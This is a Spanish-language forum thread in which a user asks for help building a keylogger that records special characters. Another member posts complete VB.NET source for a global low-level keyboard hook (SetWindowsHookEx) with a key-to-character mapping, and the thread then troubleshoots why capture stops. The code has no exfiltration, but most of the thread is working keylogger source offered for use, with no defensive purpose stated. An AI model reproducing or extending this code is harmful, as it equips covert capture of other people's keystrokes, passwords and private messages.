Autor
|
Tema: Los caracters y letras de un keylogguer -.-'' (Leído 5,388 veces)
|
BrokerJoker
Desconectado
Mensajes: 161
Ayuda y te Ayudaran.
|
Bueno pues queria crear un keylogguer pero no se como añadir los caracters de las teclas . utilzo este codigo For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) 'gets the key state
If result = -32767 Then 'if a known key is pressed, it will be displayed in the textbox1 Text1.Text = Text1.Text + Chr(i) End If Next i
Es el mas facil codigo que vi y por eso quero añadirle esas funciones por que cuando le doy al borrar o poner caracters como & %%$%$ ·$· de esos me salen letras raras , alguien que me eche una manita en como lograr eso ._.
|
|
|
En línea
|
|
|
|
Senior++
Desconectado
Mensajes: 957
Ama y haz lo que te de la gana
|
Hola,BrokerJoker.... Bueno.. yo hace unas semanas hice un keylogguer pero básico que solo registraba las teclas pulsadas. (pero no se si esto es realmente es lo que pide,Espero que sí) Bueno lo pongo aquí por si acaso.. Public Class Form1 Dim WithEvents K As New Keyboard Dim append As String Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing K.DiposeHook() End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load K.CreateHook() End Sub Private Sub K_Down(ByVal Key As String) Handles K.Down append &= Key TextBox1.Text &= Key End Sub
Private Sub BorrarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BorrarToolStripMenuItem.Click TextBox1.Text = "" End Sub
Private Sub SalirToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SalirToolStripMenuItem.Click Me.Close() End Sub End Class
Saludos
|
|
|
En línea
|
Vendo cuenta de LEAGUE OF LEGENDS lvl 30, EU west, muy barata
|
|
|
BrokerJoker
Desconectado
Mensajes: 161
Ayuda y te Ayudaran.
|
Hola,BrokerJoker.... Bueno.. yo hace unas semanas hice un keylogguer pero básico que solo registraba las teclas pulsadas. (pero no se si esto es realmente es lo que pide,Espero que sí) Bueno lo pongo aquí por si acaso.. Public Class Form1 Dim WithEvents K As New Keyboard Dim append As String Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing K.DiposeHook() End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load K.CreateHook() End Sub Private Sub K_Down(ByVal Key As String) Handles K.Down append &= Key TextBox1.Text &= Key End Sub
Private Sub BorrarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BorrarToolStripMenuItem.Click TextBox1.Text = "" End Sub
Private Sub SalirToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SalirToolStripMenuItem.Click Me.Close() End Sub End Class
Saludos perdon , pero pone que Error Type 'Keyboard' is not defined. Soy muy noob en esto asi que te pido ayuda xd
|
|
|
En línea
|
|
|
|
Senior++
Desconectado
Mensajes: 957
Ama y haz lo que te de la gana
|
Lo siento jajajaa el error fue mio: Public Class Keyboard Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer Public Shared Event Down(ByVal Key As String) Public Shared Event Up(ByVal Key As String) Private Shared Key As Integer Private Shared KHD As KDel Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure Public Sub CreateHook() KHD = New KDel(AddressOf Proc) Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) End Sub
Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer If (Code = 0) Then Select Case wParam Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys))) Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys))) End Select End If Return CallNextHookEx(Key, Code, wParam, lParam) End Function Public Sub DiposeHook() UnhookWindowsHookEx(Key) MyBase.Finalize() End Sub Private Function Feed(ByVal e As Keys) As String Select Case e Case 65 To 90 If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then Return e.ToString Else Return e.ToString.ToLower End If Case 48 To 57 If (Control.ModifierKeys And Keys.Shift) <> 0 Then Select Case e.ToString Case "D1" : Return "!" Case "D2" : Return "@" Case "D3" : Return "#" Case "D4" : Return "$" Case "D5" : Return "%" Case "D6" : Return "^" Case "D7" : Return "&" Case "D8" : Return "*" Case "D9" : Return "(" Case "D0" : Return ")" End Select Else Return e.ToString.Replace("D", Nothing) End If Case 96 To 105 Return e.ToString.Replace("NumPad", Nothing) Case 106 To 111 Select Case e.ToString Case "Divide" : Return "/" Case "Multiply" : Return "*" Case "Subtract" : Return "-" Case "Add" : Return "+" Case "Decimal" : Return "." End Select Case 32 Return " " Case 186 To 222 If (Control.ModifierKeys And Keys.Shift) <> 0 Then Select Case e.ToString Case "OemMinus" : Return "_" Case "Oemplus" : Return "+" Case "OemOpenBrackets" : Return "{" Case "Oem6" : Return "}" Case "Oem5" : Return "|" Case "Oem1" : Return ":" Case "Oem7" : Return """" Case "Oemcomma" : Return "<" Case "OemPeriod" : Return ">" Case "OemQuestion" : Return "?" Case "Oemtilde" : Return "~" End Select Else Select Case e.ToString Case "OemMinus" : Return "-" Case "Oemplus" : Return "=" Case "OemOpenBrackets" : Return "[" Case "Oem6" : Return "]" Case "Oem5" : Return "\" Case "Oem1" : Return ";" Case "Oem7" : Return "'" Case "Oemcomma" : Return "," Case "OemPeriod" : Return "." Case "OemQuestion" : Return "/" Case "Oemtilde" : Return "`" End Select End If Case Keys.Return Return Environment.NewLine Case Else Return "<" + e.ToString + ">" End Select Return Nothing End Function End Class
|
|
|
En línea
|
Vendo cuenta de LEAGUE OF LEGENDS lvl 30, EU west, muy barata
|
|
|
BrokerJoker
Desconectado
Mensajes: 161
Ayuda y te Ayudaran.
|
Lo siento jajajaa el error fue mio: Public Class Keyboard Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer Public Shared Event Down(ByVal Key As String) Public Shared Event Up(ByVal Key As String) Private Shared Key As Integer Private Shared KHD As KDel Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure Public Sub CreateHook() KHD = New KDel(AddressOf Proc) Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0) End Sub
Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer If (Code = 0) Then Select Case wParam Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys))) Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys))) End Select End If Return CallNextHookEx(Key, Code, wParam, lParam) End Function Public Sub DiposeHook() UnhookWindowsHookEx(Key) MyBase.Finalize() End Sub Private Function Feed(ByVal e As Keys) As String Select Case e Case 65 To 90 If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then Return e.ToString Else Return e.ToString.ToLower End If Case 48 To 57 If (Control.ModifierKeys And Keys.Shift) <> 0 Then Select Case e.ToString Case "D1" : Return "!" Case "D2" : Return "@" Case "D3" : Return "#" Case "D4" : Return "$" Case "D5" : Return "%" Case "D6" : Return "^" Case "D7" : Return "&" Case "D8" : Return "*" Case "D9" : Return "(" Case "D0" : Return ")" End Select Else Return e.ToString.Replace("D", Nothing) End If Case 96 To 105 Return e.ToString.Replace("NumPad", Nothing) Case 106 To 111 Select Case e.ToString Case "Divide" : Return "/" Case "Multiply" : Return "*" Case "Subtract" : Return "-" Case "Add" : Return "+" Case "Decimal" : Return "." End Select Case 32 Return " " Case 186 To 222 If (Control.ModifierKeys And Keys.Shift) <> 0 Then Select Case e.ToString Case "OemMinus" : Return "_" Case "Oemplus" : Return "+" Case "OemOpenBrackets" : Return "{" Case "Oem6" : Return "}" Case "Oem5" : Return "|" Case "Oem1" : Return ":" Case "Oem7" : Return """" Case "Oemcomma" : Return "<" Case "OemPeriod" : Return ">" Case "OemQuestion" : Return "?" Case "Oemtilde" : Return "~" End Select Else Select Case e.ToString Case "OemMinus" : Return "-" Case "Oemplus" : Return "=" Case "OemOpenBrackets" : Return "[" Case "Oem6" : Return "]" Case "Oem5" : Return "\" Case "Oem1" : Return ";" Case "Oem7" : Return "'" Case "Oemcomma" : Return "," Case "OemPeriod" : Return "." Case "OemQuestion" : Return "/" Case "Oemtilde" : Return "`" End Select End If Case Keys.Return Return Environment.NewLine Case Else Return "<" + e.ToString + ">" End Select Return Nothing End Function End Class [/sup] Ese yo tambien lo tengo pero resulta que por ejemplo si pongo que guarde lo que escribe durante 5 min en los siguientes 5 min para de copiar , algunas veces funciona como 20 min algo asi no se por que sera :S
|
|
|
En línea
|
|
|
|
Senior++
Desconectado
Mensajes: 957
Ama y haz lo que te de la gana
|
A mi me funciona perfectamente... lo deje mas o menos 1 hora...
Saludos
|
|
|
En línea
|
Vendo cuenta de LEAGUE OF LEGENDS lvl 30, EU west, muy barata
|
|
|
BrokerJoker
Desconectado
Mensajes: 161
Ayuda y te Ayudaran.
|
A mi me funciona perfectamente... lo deje mas o menos 1 hora...
Saludos
ami tambien pero algunas veces le pasa algo y deja de copiar las teclas ._.
|
|
|
En línea
|
|
|
|
Maurice_Lupin
Desconectado
Mensajes: 356
GPS
|
No he probado el code, pero podrias crear un thread en background, quiza eso lo solucione.
Saludos.
|
|
|
En línea
|
Un error se comete al equivocarse.
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Caracters raros :S Keylogger
.NET (C#, VB.NET, ASP)
|
BrokerJoker
|
0
|
2,119
|
11 Enero 2012, 09:33 am
por BrokerJoker
|
|
|
Contar caracters
« 1 2 »
Programación C/C++
|
kokokoko
|
10
|
7,246
|
11 Marzo 2012, 14:37 pm
por Xandrete
|
|
|
Duda Keylogguer desinfectar
Análisis y Diseño de Malware
|
Senior++
|
3
|
2,674
|
23 Abril 2012, 21:43 pm
por Stakewinner00
|
|
|
Duda sobre keylogguer y troyanos
Análisis y Diseño de Malware
|
Senior++
|
6
|
4,841
|
26 Julio 2012, 17:30 pm
por Pablo Videla
|
|
|
Busco un Keylogguer parental gratuito
Software
|
zorrillo1965
|
8
|
5,557
|
7 Junio 2022, 16:46 pm
por Olagüe
|
|